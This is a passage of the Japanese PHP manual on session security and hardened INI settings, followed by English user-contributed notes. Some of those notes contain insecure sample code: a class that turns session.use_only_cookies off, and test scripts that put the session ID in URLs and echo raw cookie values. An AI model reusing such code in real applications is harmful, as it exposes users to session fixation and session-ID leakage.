アクティブなセッションを突然削除すると、望まない副作用が起きます。 Webアプリケーションへの同時接続が起きた かつ/または ネットワークが不安定な場合に、セッションが突然消える可能性があります。

アクティブなセッションが突然消えてしまうと、 悪意のあるアクセスの可能性を検出することができなくなります。

期限切れのセッションを突然削除するのではなく、 開発者は短い期限切れの時間(タイムスタンプ)を $_SESSION に設定し、 セッションデータにアクセスすることを自分で禁止すべきです。

開発者は session_regenerate_id() を呼び出した後すぐに、 古いセッションデータへのアクセスを禁止してはいけません。 その後の段階で禁止しなければなりません。 たとえば、有線ネットワークのような安定したネットワークは数秒後、 無線LAN や携帯電話のような不安定なネットワークの場合は、2, 3分後です。

ユーザーのアクセスが期限切れのセッションだった場合、 アクセスを拒否するべきです。攻撃されている可能性があるすべてのユーザーから、 認証済みのステータスを削除することも推奨します。

session.use_only_cookies と session_regenerate_id() を適切に使うことで、 攻撃者によって設定された、削除できないクッキーを伴うDOSが発生することがあります。 この場合、開発者はユーザーに Cookie を削除させ、 セキュリティ上の問題に晒されていることを教えることができます。 攻撃者は、脆弱なWebアプリケーションや ウイルスに感染したブラウザのプラグイン、 物理的に侵害されたデバイスなどを経由して悪意のあるCookieを設定している可能性があります。

警告

DOS のリスクを誤解しないでください。 use_strict_mode=On は一般的なセッションIDのセキュリティには必須です! 全てのサイトが use_strict_mode を有効にすることをお勧めします。

DOS はアカウントが攻撃されている場合にだけ発生する可能性があります。 アプリケーションに存在する JavaScript インジェクションの脆弱性がもっともよくある原因です。

セッションデータを削除する

期限切れのセッションデータは、アクセス不能にし、削除しなければなりません。 現状のセッションモジュールはこの機能をうまく扱えません。

期限切れのセッションデータは、できるだけ早く削除すべきです。 しかしながら、アクティブなセッションは、すぐに削除してはいけません。 これらの要求を満たすためには、 開発者はタイムスタンプベースのセッション管理を自分自身で実装する必要があります。

期限切れのタイムスタンプを $_SESSION に設定し、管理します。 期限切れのセッションデータへのアクセスは禁止します。 期限切れのセッションデータへのアクセスが検出された場合、 そのユーザーのセッションから認証済みのステータスを全て取り除き、 強制的に再認証させることをおすすめします。 期限切れのセッションデータへのアクセスは、攻撃されている可能性があります。 これを実現するために、 開発者はユーザーごとに全てのアクティブなセッションを追跡しなければなりません。

注意: 期限切れのセッションへのアクセスは、ネットワークが不安定だったり、 Webサイトへの同時アクセスも原因で起こりえます。 たとえば、サーバは新しいセッションIDを Cookie 経由で設定しようとしたが、 接続が失われたため Set-Cookie のパケットが クライアントに届かなかったりする可能性があります。 ある接続で、session_regenerate_id() によって新しいセッションIDが発行されたけれども、 別の同時接続が、まだ新しいセッションIDを受け取っていない可能性もあります。 よって、開発者は期限切れのセッションへのアクセスを後の段階で禁止しなければなりません。 すなわち、タイムスタンプベースのセッション管理が必須なのです。

まとめると、セッションデータは session_regenerate_id() や session_destroy() を使って破棄してはいけません。 むしろ、セッションデータへのアクセスを制御するためにタイムスタンプを使わなければなりません。 session_gc() 関数に、 セッションデータストレージから、期限切れのデータを削除させましょう。

Session とロック

セッションデータはレースコンディションを避けるため、デフォルトでロックされます。 ロックを掛けることは複数のリクエスト間でセッションデータの一貫性を保つため、必須です。

しかしながら、セッションをロックしてしまうと、 攻撃者がDOS攻撃に悪用する可能性があります。 セッションをロックすることによるDOS攻撃のリスクを軽減するためには、 ロックを最小限にすることです。 セッションデータを更新する必要がないときは、読み取り専用のセッションを使うようにします。 session_start(['read_and_close'=>1]); $_SESSION を更新した後は、session_commit() を使って できるだけ早くセッションを閉じるようにします。

現状のセッションモジュールは、 セッションがアクティブでない時に $_SESSION が変更されたかを検知 しません。 セッションがアクティブでない時に $_SESSION を変更しないことは、開発者の責任です。

アクティブなセッション

開発者は、ユーザーごとにアクティブなセッションを追跡し続けるべきです。 そして、アクティブなセッションの数がどれくらいあるかや、 どのIP(や地域) からかとか、どのくらいの期間アクティブなのか、などです。 PHP はこれらを追跡しません。開発者が行うことが想定されています。

これを実装するやり方はたくさんあります。 ひとつの可能な実装は、データベースをセットアップして必須のデータを追跡し、 関連するあらゆる情報を保存することです。 セッションデータは GC されるので、開発者はアクティブなセッションのデータベースが一貫性を保つように GC されたデータに注意を払わなければなりません。

一番簡単な実装は、"ユーザーIDをセッションIDの前に付ける" ことで、 必須の情報を $_SESSION に保存することです。 多くのデータベースは文字列の prefix を選択するのに良いパフォーマンスを発揮します。 開発者は session_regenerate_id() と session_create_id() をこの目的で使うこともできます。

警告

秘密のデータを prefix に絶対に使わないでください。 ユーザーIDが秘密の場合、hash_hmac() を使うことも検討しましょう。

警告

session.use_strict_mode はこの場合に必須です。必ず有効にするようにしてください。 そうしなければ、アクティブなセッションデータベースが侵害される可能性があります。

タイムスタンプベースのセッション管理は、時間切れのセッションへのアクセスを検知するのに必須です。 時間切れのセッションへのアクセスが検知された場合、 そのユーザーの全てのアクティブなセッションから認証済みのフラグを削除すべきです。 こうすることで、攻撃者が盗んだセッションを悪用し続けることを防げます。

Session と自動ログイン

開発者は有効期間が長いセッションを、自動ログインに使ってはいけません。 なぜなら、セッションが盗まれるリスクが増えるからです。 自動ログイン機能は、開発者が実装すべきです。

setcookie() を使い、 セキュアなワンタイムハッシュを自動ログインのキーとして使います。 SHA-2 より強いセキュアなハッシュを使います。 たとえば、 random_bytes() や /dev/urandom で生成したランダムデータを SHA-256 またはそれより強いハッシュ関数と一緒に使います。

ユーザーが認証されていなかったら、ワンタイムの自動ログインキーが有効かどうかをチェックします。 もし、キーが正しければ、ユーザーを認証し、新しいセキュアなワンタイムハッシュキーを設定します。 自動ログインキーを使うのは一度きりです。つまり、再利用してはいけません。 常に新しいものを生成するようにします。

自動ログインのキーが長期間有効な認証キーである場合、 できるだけ手厚く保護すべきです。 path/httponly/secure/SameSite クッキー属性をセキュアにするために使います。 つまり、自動ログインキーを必要ないのに送信しないでください。

開発者は自動ログインを無効にする機能や、 不要な自動ログインのキーを削除する機能を実装しなければなりません。

CSRF (Cross-Site Request Forgeries) 攻撃

セッションと認証は、CSRF 攻撃を防ぐことはありません。 開発者は CSRF への防御を自分で実装しなければなりません。

CSRF 攻撃を防ぐために、 output_add_rewrite_var() 関数が使えます。 詳細はマニュアルページを参照してください。

注意: PHP 7.2.0 より前のバージョンでは、この関数は trans sid と同じ出力バッファとINI 設定を使っていました。 よって、PHP 7.2.0 より前のバージョンで output_add_rewrite_var() を使うことはおすすめしません。

ほとんどの Webアプリケーションフレームワークは、CSRF から防御する機能をサポートしています。 詳細は、Webアプリケーションフレームワークのマニュアルを参照してください。

PHP 7.3 以降では、セッションクッキーにSameSite 属性が設定できます。 この属性も、CSRF 脆弱性を軽減できる追加の対策になります。

User Contributed Notes

There are no user contributed notes for this page.


セッションに関連する INI 設定をセキュアにする

セッション関連のINI設定をセキュアにすることで、 開発者はセッションのセキュリティを改善できます。 重要な INI 設定であっても、推奨される設定がないものがあります。 開発者にはセッションの設定を強固にする責任があります。

  • session.cookie_lifetime=0

    0 には特別な意味があります。 これは、恒久的なストレージにクッキーを保存しないようブラウザに指示します。 よって、ブラウザが終了した場合、セッションIDクッキーはすぐに削除されます。 開発者がこの値を0以外にすると、他のユーザーがセッションIDを使うことを許す可能性があります。 このため、ほとんどのWebアプリケーションは、"0" を使うべきです。

    自動ログイン機能が必須の場合、 開発者は自前のセキュアな自動ログイン機能を実装しなければなりません。 この機能のために、有効期間が長いセッションIDを使ってはいけません。 前のページの関連するセクションで、より多くの情報が見つかるかもしれません。

  • session.use_cookies=On

    session.use_only_cookies=On

    HTTP クッキーはいくつか問題を抱えていますが、 クッキーはセッションIDを管理する手段として好ましい方法であり続けています。 セッションIDの管理に、可能であればクッキーだけを使うようにしましょう。 ほとんどのアプリケーションはセッションIDの管理にクッキーを使うべきです。

    session.use_only_cookies=Off の場合、 セッションモジュールは、たとえセッションIDクッキーが未初期化であっても、 セッションIDが与えられた GET/POST/URL によって設定されたものをセッションIDに使うようになります。

  • session.use_strict_mode=On

    セッションをセキュアにするために session.use_strict_mode を有効にすることは必須ですが、 デフォルトでは無効になっています。

    有効にすることで、セッションモジュールが未初期化のセッションIDを使うことを防げます。 別の言い方をすると、セッションモジュールは、 セッションモジュールが生成した有効なセッションIDだけを受け入れるようになるということです。 この設定は、ユーザーによって与えられたあらゆるセッションIDを拒否します。

    Cookie の仕様によって、 攻撃者はローカルにクッキーのデータベースを設定したり、 JavaScriptインジェクションの脆弱性を突くことで、 削除できないセッションIDクッキーを置くことが可能です。 session.use_strict_mode によって、 攻撃者が初期化したセッションIDが使われるのを防ぐことができます。

    注意:

    攻撃者は自分のデバイスでセッションIDを初期化し、 ターゲットユーザーのセッションIDを設定するかもしれません。 攻撃者は悪用するセッションIDをアクティブな状態に保たなければなりません。 攻撃者はこのシナリオで攻撃を実行するには追加のステップが必要です。 よって、session.use_strict_mode が軽減策として役に立つのです。

  • session.cookie_httponly=On

    セッションクッキーを JavaScript からアクセスさせることを拒否します。 この設定によって、JavaScriptインジェクションによってクッキーを盗むことを防げます。

    セッションIDをCSRFトークンとして使うことも可能ですが、 推奨されません。たとえば、HTMLソースが保存され、他のユーザに送られることがあるからです。 開発者は、セキュリティを向上させるため、セッションIDをWebサイトに出力すべきではありません。 ほとんどのアプリケーションは、httponly 属性をセッションIDクッキーに設定しなければなりません。

    注意:

    CSRF トークンも、セッションIDと同じように定期的に更新すべきです。

  • session.cookie_secure=On

    セッションIDクッキーを、プロトコルがHTTPSの場合にだけアクセスすることを許可します。 website が HTTPS 経由でのみアクセス可能であるなら、この設定を有効にすべきです。

    HTTPS 経由でのみアクセス可能なWebサイト向けに、HSTS も検討すべきです。

  • session.cookie_samesite="Lax" または session.cookie_samesite="Strict"

    PHP 7.3 以降では、セッションIDクッキー向けに "SameSite" 属性が設定できます。 この属性は、CSRF (Cross Site Request Forgery) 攻撃を軽減する手段です。

    Lax と Strict の違いは、 HTTP GETリクエストを使う別の登録可能なドメインへのリクエストに対して、クッキーへのアクセスを許可するかどうかです。 Lax を使っているクッキーは別の登録可能なドメインへのGETリクエストからアクセス可能ですが、 Strict を使っているクッキーはそうではありません。

  • session.gc_maxlifetime=[choose smallest possible]

    session.gc_maxlifetime は期限切れのセッションIDを削除する設定です。 この設定に依存することは推奨しません。 開発者はタイムスタンプを使って、セッションの有効期間を自前で管理すべきです。

    セッションGC(ガベージコレクション)は、 session_gc() を使って行うのが最適です。 session_gc() 関数は、タスクマネージャーを使って実行すべきです。 たとえば、UNIXライクなシステムだと cron が挙げられます。

    GC処理はデフォルトでは確率的に行われます。 この設定は期限切れのセッションが削除されることを保証 しません。 開発者はこの設定に依存することはできませんが、 可能な限り最小の値を指定することを推奨します。 session.gc_probability と session.gc_divisor の値を、 適切な頻度で期限切れのセッションが削除されるように調整してください。 自動ログイン機能が必須の場合、開発者は自前のセキュアな自動ログイン機能を実装しなければなりません。 詳細な情報は前のページを参照してください。 自動ログイン機能のために、有効期限が長いセッションIDを絶対に使わないでください。

    注意:

    セッション保存ハンドラモジュールによっては、 期限切れの処理を確率ベースで行うためにこの設定を使わないものもあります。 たとえば memcached, memcache が挙げられます。 詳細については、セッション保存ハンドラのドキュメントを参照してください。

  • session.use_trans_sid=Off

    透過的なセッションID管理を使うことは禁止されていません。 開発者は必要な場合は採用しても構いません。 しかし、透過的なセッションID管理を無効にすると、 セッションIDインジェクションやリークの可能性が排除できるので、 一般的なセッションIDのセキュリティを改善できます。

    注意:

    セッションIDは、ブックマークされたURLや、電子メールに埋め込まれたURLや、 保存されたHTMLソースなどから漏れる可能性があります。

  • session.trans_sid_tags=[limited tags]

    (PHP 7.1.0 >=) 開発者は必要ないのにHTMLタグを書き換えるべきではありません。 デフォルト値でほとんどの場合は十分です。古いPHPバージョンの場合は、 url_rewriter.tags を代わりに使ってください。

  • session.trans_sid_hosts=[limited hosts]

    (PHP 7.1.0 >=) この INI 設定は、 trans sid の書き換えを許可するホストをホワイトリスト形式で定義します。 信頼できないホストを絶対に追加しないでください。 セッションモジュールは、この設定が空の場合、 $_SERVER['HTTP_HOST'] だけを許可します。

  • session.referer_check=[originating URL]

    session.use_trans_sid が有効になっている場合、 この設定はセッションIDインジェクションのリスクを減らします。 website が http://example.com/ の場合、 http://example.com/ を設定してください。 HTTPS ブラウザはリファラヘッダを送信しないことに注意してください。 ブラウザはリファラヘッダを設定によって送信しない可能性もあります。 よって、この設定は信頼できるセキュリティ対策ではありませんが、 この設定を使うことは推奨します。

  • session.cache_limiter=nocache

    HTTP コンテンツを認証済みのセッションに関してはキャッシュしないようにします。 コンテンツがプライベートでない場合だけ、キャッシュを許可します。 そうしない場合、コンテンツが外部に流出する可能性があります。 "private" は、HTTPコンテンツがセキュリティに敏感なデータを含まない場合であれば採用しても構いません。 "private" は、共有されたクライアントによってキャッシュされた、 プライベートなデータを送信する可能性があることに注意してください。 "public" は、HTTPコンテンツがプライベートなデータを一切含んでいない場合にのみ使わなければなりません。

  • session.sid_length="48"

    (PHP 7.1.0 >=) 長いセッションIDであればあるほど、強いセッションIDになります。 開発者はセッションIDの長さを32文字以上にすることを検討すべきです。 session.sid_bits_per_character="5" の場合、 少なくとも 26文字以上が必須です。

  • session.sid_bits_per_character="6"

    (PHP 7.1.0 >=) セッションIDの文字に多くのbitを使うほど、 セッションモジュールが生成するセッションIDは、 長さが同じであっても強くなります。

  • session.hash_function="sha256"

    (PHP 7.1.0 <) より強いハッシュ関数は、より強いセッションIDを生成します。 ハッシュの衝突が起こる可能性は、MD5 ハッシュアルゴリズムを使っても低いですが、 開発者は SHA2 またはそれより強い sha384 や sha512 のようなハッシュアルゴリズムを使うべきです。 開発者は、十分に長い entropy をハッシュ関数を使うときに必ず与えなければなりません。

  • session.save_path=[どこからでも読み取り可能なディレクトリにしない]

    この設定を /tmp (デフォルト) のようにどこか らでも読み込み可能なディレクトリに設定した場合、サーバー上 の他のユーザーがこのディレクトリのファイルのリストを取得すること により、セッションをハイジャックをすることが可能となります。

User Contributed Notes

Derek Simkowiak 14-Dec-2018 04:04
Warning: Calling `ini_set('session.use_only_cookies', 1)` returns FALSE if `session_start()` has already been called.


セッション関数

目次

  • session_abort — session 配列の変更を破棄してセッションを終了します
  • session_cache_expire — 現在のキャッシュの有効期限を取得/設定する
  • session_cache_limiter — 現在のキャッシュリミッタを取得または設定する
  • session_commit — session_write_close のエイリアス
  • session_create_id — 新しいセッションIDを作成する
  • session_decode — セッションエンコードされた文字列からセッションデータをデコードする
  • session_destroy — セッションに登録されたデータを全て破棄する
  • session_encode — 現在のセッションデータを、セッションエンコードされた文字列に変換する
  • session_gc — セッションデータのガベージコレクションを実行する
  • session_get_cookie_params — セッションクッキーのパラメータを得る
  • session_id — 現在のセッション ID を取得または設定する
  • session_is_registered — 変数がセッションに登録されているかどうかを調べる
  • session_module_name — 現在のセッションモジュールを取得または設定する
  • session_name — 現在のセッション名を取得または設定する
  • session_regenerate_id — 現在のセッションIDを新しく生成したものと置き換える
  • session_register_shutdown — セッションのシャットダウン関数
  • session_reset — session 配列を元の値で再初期化します
  • session_save_path — 現在のセッションデータ保存パスを取得または設定する
  • session_set_cookie_params — セッションクッキーパラメータを設定する
  • session_set_save_handler — ユーザー定義のセッション保存関数を設定する
  • session_start — 新しいセッションを開始、あるいは既存のセッションを再開する
  • session_status — 現在のセッションの状態を返す
  • session_unregister — 現在のセッションから変数の登録を削除する
  • session_unset — 全てのセッション変数を開放する
  • session_write_close — セッションデータを書き込んでセッションを終了する

User Contributed Notes

farhad dot pd at gmail dot com 17-Jun-2017 12:03
<?php
class Session
{

    public static $seesionFlashName = '__FlashBack';
    /**
     * [__construct description]
     */
    public function __construct() {

    }

    public static function start() {
        ini_set('session.use_only_cookies', 'Off');
        ini_set('session.use_cookies', 'On');
        ini_set('session.use_trans_sid', 'Off');
        ini_set('session.cookie_httponly', 'On');

        if (isset($_COOKIE[session_name()]) && !preg_match('/^[a-zA-Z0-9,\-]{22,52}$/', $_COOKIE[session_name()])) {
            exit('Error: Invalid session ID!');
        }

        session_set_cookie_params(0, '/');
        session_start();
    }

    public static function id() {
        return sha1(session_id());
    }

    public static function regenerate() {
        session_regenerate_id(true);
    }

    /**
     * [exists description]
     * @param  [type] $name [description]
     * @return [type]       [description]
     */
    public static function exists($name) {
        if(isset($name) && $name != '') {
            if(isset($_SESSION[$name])) {
                return true;
            }
        }

        return false;
    }

    /**
     * [set description]
     * @param [type] $name  [description]
     * @param [type] $value [description]
     */
    public static function set($name='', $value='') {
        if($name != '' && $value != '') {
            $_SESSION[$name] = $value;
        }
    }

    /**
     * [get description]
     * @param  [type] $name [description]
     * @return [type]       [description]
     */
    public static function get($name) {
        if(self::exists($name)) {
            return $_SESSION[$name];
        }

        return false;
    }

    /**
     * [delete description]
     * @param  [type] $name [description]
     * @return [type]       [description]
     */
    public static function delete($name) {
        if(self::exists($name)) {
            unset($_SESSION[$name]);
        }

        return false;
    }

    /**
     * [setFlash description]
     * @param string $value [description]
     */
    public static function setFlash($value='') {
        if($value != '') {
            self::set(self::$seesionFlashName, $value);
        }
    }

    /**
     * [getFlash description]
     * @return [type] [description]
     */
    public static function getFlash() {
        if(self::exists(self::$seesionFlashName)) {
            ob_start();
                echo self::get(self::$seesionFlashName);
                $content = ob_get_contents();
            ob_end_clean();

            self::delete(self::$seesionFlashName);

            return $content;
        }

        return false;
    }

    /**
     * [flashExists description]
     * @return [type] [description]
     */
    public static function flashExists() {
        return self::exists(self::$seesionFlashName);
    }

    /**
     * [destroy description]
     * @return void [description]
     */
    public static function destroy() {
        foreach($_SESSION as $sessionName) {
            self::delete($sessionName);
        }

        session_destroy();
    }
}
?>

iranian php programmer
farhad zand moghadam
Ray.Paseur sometimes uses Gmail 02-Nov-2016 02:19
PHP 5+ you cannot store StdClass and similar built-in objects in the session.  The class definitions do not exist in a way that allows PHP to serialize/unserialize the information.  This results in a fatal error; the entire contents of the session is lost.

<?php
error_reporting(E_ALL);
session_start();
var_dump($_SESSION); // INITIAL STATE
$_SESSION['hello'] = 'World';
var_dump($_SESSION); // MUTATED STATE

// AN XML STRING FOR TEST DATA
$xml = <<<EOD
<?xml version="1.0"?>
<families>
  <parent>
    <child index="1" value="Category 1">Child One</child>
  </parent>
</families>
EOD;

// STORE THE SimpleXMLElement OBJECT IN THE SESSION
$_SESSION['obj'] = SimpleXML_Load_String($xml);
Sam Yong - hellclanner at live dot com 27-Jul-2011 02:01
The following has been tested true in PHP 5.3.5.

Setting the session variables after the execution of the script i.e. in __destruct function, will not work.

<?php

class Example{

    function __destruct(){
        $_SESSION['test'] = true;
        session_write_close();
    }

}

?>

The above example will write nothing into the temporary session file, as I observed through a custom Session Save Handler.
jitchavan at gmail dot com 01-Apr-2011 06:43
IE issue :-

when form target set to iframe source and after posting form content you are setting session variables,
In this scenario if parent page having image src blank then session values set in iframe action page will be LOST surprisingly in IE ONLY.Solution is quite simple don't keep Image src blank.
ted at tedmurph dot com 07-Oct-2010 05:34
I was having problems with $_SESSION information not being written or being lost in a seemingly random way.  There was a Location: call being made deep in a Zend OAuth module, I am using an IIS server with PHP as a CGI, etc.

The answer was simply that you need to have the domain be consistent for sessions to work consistently.  In my case, I was switching back and forth between www.EXAMPLE.com:888 and EXAMPLE.com:888.  The unusual port, the hidden Location: call, the handoff with OAuth, etc all served to confuse me, but the intermitent error was caused by this simple goof of keeping the domain consistent.
hinom06 [at] hotmail.co.jp 29-Aug-2010 10:28
simple session test version 1.1

<?php
/* [EDIT by danbrown AT php DOT net:
   The author of this note named this
   file tmp.php in his/her tests. If
   you save it as a different name,
   simply update the links at the
   bottom to reflect the change.] */

error_reporting( E_ALL );
ini_set( 'display_errors', 1);
date_default_timezone_set('Asia/Tokyo');

//ini_set( 'session.save_path', '/tmp' ); // for debug purposes

session_start();

// check if session_id() exists.
/*
for example, if exists and session wont read, must send session.name as parameter in URL.

Some servers configurations may have problem to recognize PHPSESSID, even if transid value is 0 or 1.
So, this test is usefull to identify any causes.

*/
if( session_id() == '' )
{
    echo 'session_id() empty';
}else{
    echo session_id();
}
echo '<hr>';

$sessPath   = ini_get('session.save_path');
$sessCookie = ini_get('session.cookie_path');
$sessName   = ini_get('session.name');
$sessVar    = 'foo';

echo '<br>sessPath: ' . $sessPath;
echo '<br>sessCookie: ' . $sessCookie;

echo '<hr>';

if( !isset( $_GET['p'] ) ){
    // instantiate new session var
    $_SESSION[$sessVar] = 'hello world';
}else{
    if( $_GET['p'] == 1 ){

        // printing session value and global cookie PHPSESSID
        echo $sessVar . ': ';
        if( isset( $_SESSION[$sessVar] ) ){
            echo $_SESSION[$sessVar];
        }else{
            echo '[not exists]';
        }

        echo '<br>' . $sessName . ': ';

        if( isset( $_COOKIE[$sessName] ) ){
        echo $_COOKIE[$sessName];
        }else{
            if( isset( $_REQUEST[$sessName] ) ){
            echo $_REQUEST[$sessName];
            }else{
                if( isset( $_SERVER['HTTP_COOKIE'] ) ){
                echo $_SERVER['HTTP_COOKIE'];
                }else{
                echo 'problem, check your PHP settings';
                }
            }
        }

    }else{

        // destroy session by unset() function
        unset( $_SESSION[$sessVar] );

        // check if was destroyed
        if( !isset( $_SESSION[$sessVar] ) ){
            echo '<br>';
            echo $sessName . ' was "unseted"';
        }else{
            echo '<br>';
            echo $sessName . ' was not "unseted"';
        }

    }
}
?>
<hr>
<a href=tmp.php?p=1&<?php echo $sessName . '=' . session_id();?>>test 1 (printing session value)</a>
<br>
<a href=tmp.php?p=2&<?php echo $sessName . '=' . session_id();?>>test 2 (kill session)</a>
Trevor Brown 04-Aug-2010 08:17
A confirmation of behaviour, just in case this saves anyone else some time...

There is (potentially) a special case when session.gc_probability = 0 and session.gc_divisor = 0.  Depending on how they wanted to work their maths underneath, the coders *might* have opted to interpret 0/0 as 1 (which is sometimes assumed in certain maths proofs), but thankfully it seems they haven't.  With both values set to 0, the session code will follow the spirit of the directives and invoke the garbage collector with zero probability.  At least this is true with php 5.2.5 (which, to be certain, I inspected the source of).

To be safe, however, setting both to zero is *probably* not a good idea because usually 0/0 is undefined, so it could presumably mean anything (some arguments exist that claim 0/0 is equal to every fraction).  Wouldn't you rather know for sure what your probability was set to?  In other words, don't set gc_divisor = 0
Jeremy Speer 19-Feb-2010 12:14
When working on a project, I found a need to switch live sessions between two different pieces of software. The documentation to do this is scattered all around different sites, especially in comments sections rather than examples. One difficulty I encountered was the session save handler for one of the applications was set, whereas the other was not. Now, I didn't code in the function session_set_save_handler(), instead I utilize that once I'm done with the function (manually), however this function could easily be extended to include that functionality. Basically, it is only overriding the system's default session save handler. To overcome this after you have used getSessionData(), just call session_write_close(), session_set_save_handler() with the appropriate values, then re-run session_name(), session_id() and session_start() with their appropriate values. If you don't know the session id, it's the string located in $_COOKIE[session_name], or $_REQUEST[session_name] if you are using trans_sid. [note: use caution with trusting data from $_REQUEST, if at all possible, use $_GET or $_POST instead depending on the page].

<?php
function getSessionData ($session_name = 'PHPSESSID', $session_save_handler = 'files') {
    $session_data = array();
    # did we get told what the old session id was? we can't continue it without that info
    if (array_key_exists($session_name, $_COOKIE)) {
        # save current session id
        $session_id = $_COOKIE[$session_name];
        $old_session_id = session_id();

        # write and close current session
        session_write_close();

        # grab old save handler, and switch to files
        $old_session_save_handler = ini_get('session.save_handler');
        ini_set('session.save_handler', $session_save_handler);

        # now we can switch the session over, capturing the old session name
        $old_session_name = session_name($session_name);
        session_id($session_id);
        session_start();

        # get the desired session data
        $session_data = $_SESSION;

        # close this session, switch back to the original handler, then restart the old session
        session_write_close();
        ini_set('session.save_handler', $old_session_save_handler);
        session_name($old_session_name);
        session_id($old_session_id);
        session_start();
    }

    # now return the data we just retrieved
    return $session_data;
}
?>
brfelipe08 at hotmail dot com 28-Aug-2009 06:26
If you need to use sessions, and some accents required for some Latin-based languages, you should encode your files in ISO-8859-1.
You will run into some problems if you try to use UTF-8 - with or without BOM -, and ANSI will not support accents.
ISO-8859-1 will both support sessions and the accents.
edA-qa at disemia dot com 08-May-2009 12:18
WARNING for Debian users.  Just to drive you completely crazy Debian does its own form of session management and will completely ignore all alterations to the values who do within your PHP script.

Debian sets up a <crontab /etc/cron.d/php5> which deletes all files, including those in subdirectories, which exceed the gc_maxlifetime specified in the <php.ini> file only.

That is, on Debian (and likely variants like Ubuntu) modifying the session expiration settings (like gc_maxlifetime) does *NOTHING*.  You *HAVE* to modify the global <php.ini>.  Not even a <.htaccess> file will help you.
edA-qa at disemia dot com 07-May-2009 05:14
Sessions may be deleted before the time limit you set in gc_maxlifetime.

If you have multiple pages on the same server, each using the session (the same or distinct named sessions, it doesn't matter), the *minimum* gc_maxlifetime of any of those scripts ends up being the effective lifetime of the session files.

This can also apply to the lifetime coming from a CLI invocation of a PHP script on that machine which happens to use the session.

This can be bothersome since even though you think all your pages include the same file which sets up the script, even a single PHP page which doesn't can invoke the GC and have the scripts deleted.

Thus, if you need to set a long gc_maxlifetime you are best doing this through the INI file or in a .htaccess file for the entire directory.
LaurentT 03-Dec-2008 02:51
For UNIX :

One might encounter some problems with sessions, having different sites on the same server : sessions would either merge if one is using more than one site at a time or crash if sites are owned by different system users. For instance :

www.example.com is stored in /home/site1/www
www.example.net is stored in /home/site2/www

Using both www.example.com and www.example.net would cause sessions to act weird.

If you're using PHP as an Apache module, you can easely use php_value in the http.conf to set a unique session.name depending on the site. If you're using suPHP though (PHP as CGI) you can't use php_value, though you can use suPHP_ConfigPath.

Here's an example :

<VirtualHost 10.10.10.10:8081>
    DocumentRoot /home/site1/www
    ServerName www.example.com
    suPHP_ConfigPath /home/site1/server_config
</VirtualHost>
<VirtualHost 10.10.10.10:8082>
    DocumentRoot /home/site2/www
    ServerName www.example.net
    suPHP_ConfigPath /home/site2/server_config
</VirtualHost>

Each server_config folder contain a php.ini file specific to the vHost. You then just have to change the values of each session.name to unique ones and you're done !
hinom - iMasters 04-Jun-2008 09:00
simple session test

<?php
/* [EDIT by danbrown AT php DOT net:
   The author of this note named this
   file tmp.php in his/her tests. If
   you save it as a different name,
   simply update the links at the
   bottom to reflect the change.] */

session_start();

$sessPath   = ini_get('session.save_path');
$sessCookie = ini_get('session.cookie_path');
$sessName   = ini_get('session.name');
$sessVar    = 'foo';

echo '<br>sessPath: ' . $sessPath;
echo '<br>sessCookie: ' . $sessCookie;

echo '<hr>';

if( !isset( $_GET['p'] ) ){
    // instantiate new session var
    $_SESSION[$sessVar] = 'hello world';
}else{
    if( $_GET['p'] == 1 ){

        // printing session value and global cookie PHPSESSID
        echo $sessVar . ': ';
        if( isset( $_SESSION[$sessVar] ) ){
            echo $_SESSION[$sessVar];
        }else{
            echo '[not exists]';
        }

        echo '<br>' . $sessName . ': ';

        if( isset( $_COOKIE[$sessName] ) ){
        echo $_COOKIE[$sessName];
        }else{
            if( isset( $_REQUEST[$sessName] ) ){
            echo $_REQUEST[$sessName];
            }else{
                if( isset( $_SERVER['HTTP_COOKIE'] ) ){
                echo $_SERVER['HTTP_COOKIE'];
                }else{
                echo 'problem, check your PHP settings';
                }
            }
        }

    }else{

        // destroy session by unset() function
        unset( $_SESSION[$sessVar] );

        // check if was destroyed
        if( !isset( $_SESSION[$sessVar] ) ){
            echo '<br>';
            echo $sessName . ' was "unseted"';
        }else{
            echo '<br>';
            echo $sessName . ' was not "unseted"';
        }

    }
}
?>
<hr>
<a href=tmp.php?p=1>test 1 (printing session value)</a>
<br>
<a href=tmp.php?p=2>test 2 (kill session)</a>
paul at shirron dot net 05-May-2008 07:19
In php.ini, I have:

session.save_path="C:\DOCUME~1\pjs9486\LOCALS~1\Temp\php\session"

I was cleaning out the temp directory, and deleted the php directory. Session stuff quit working. I re-created the php directory. Still no luck. I re-created the session directory in the php directory, and session stuff resumed working.

I would have expected session_start() to have re-created directories in the path, if they didn't exist, but, it doesn't.

Note to self: Don't do that again!!!!
Vextor 04-Apr-2008 08:24
It seems that the garbage engine can't delete the expired session related to the itself. If there is only one session, it won't expire even if it has expired the gc_maxlifetime set.

It will be necessary another client connecting, starting a different session, and the garbage collector of this new session will be able to clean the other expired sessions.

I tested this in Windows with file sessions.
session a emailaddress d cjb d net 28-Mar-2008 11:33
It doesn't appear in the documentation, or in anyone's comment here, but setting session.gc_maxlifetime to 0 means the session will not expire until the browser is closed.

Of course this still doesn't fix the problems associated with the garbage collector doing it's own thing.
The best solution to that still appears to be changing session.save_path
Csar 07-Mar-2008 07:38
There's a bug in Internet explorer in which sessions do not work if the name of the server is not a valid name. For example...if your server is called web_server (_ isn't a valid character), if you call a page which uses sessions like http://web_server/example.php your sessions won't work but sessions will work if you call the script like this
[IP NUMBER]/example.php
carl /a/ suchideas /o/ com 30-Sep-2007 09:45
Another gotcha to add to this list is that using a relative session.save_path is a VERY BAD idea.

You can just about pull it off, if you're very careful, but note two related points:

1) The path is taken relative to the directory of the ORIGINALLY executed script, so unless all pages are run from the same directory, you'll have to set the directory separately in each individual subfolder

2) If you call certain functions, such as session_regenerate_id(), PHP will try to take the session directory relative to the exectuable, or something like that, creating an error IN the executable. This provides slightly cryptic error messages, like this:

Warning: Unknown: open(relative_path\ilti9oq3j9ks0jvih1fmiq4sv1.session, O_RDWR) failed: No such file or directory (2) in Unknown on line 0

Warning: Unknown: Failed to write session data (files). Please verify that the current setting of session.save_path is correct (relative_path) in Unknown on line 0

... so don't even bother. Just use

<?php ini_set("session.save_path",dirname(__FILE__)."/relative_path"); ?>

(or equivalent) in a file which you know is always in the same place relative to the file.

{PHP version 5.1.6}
jsnell at e-normous dot com 29-Aug-2007 01:58
Careful not to try to use integer as a key to the $_SESSION array (such as $_SESSION[0] = 1;)  or you will get the error "Notice: Unknown: Skipping numeric key 0. in Unknown on line 0"
Nigel Barlass 28-Jun-2007 06:07
Lima's note on sessions and browser's tabs needs to be modified for my version of php as the call to uniqid('') will return an alphanumeric string.
Hence the ereg statement should be:
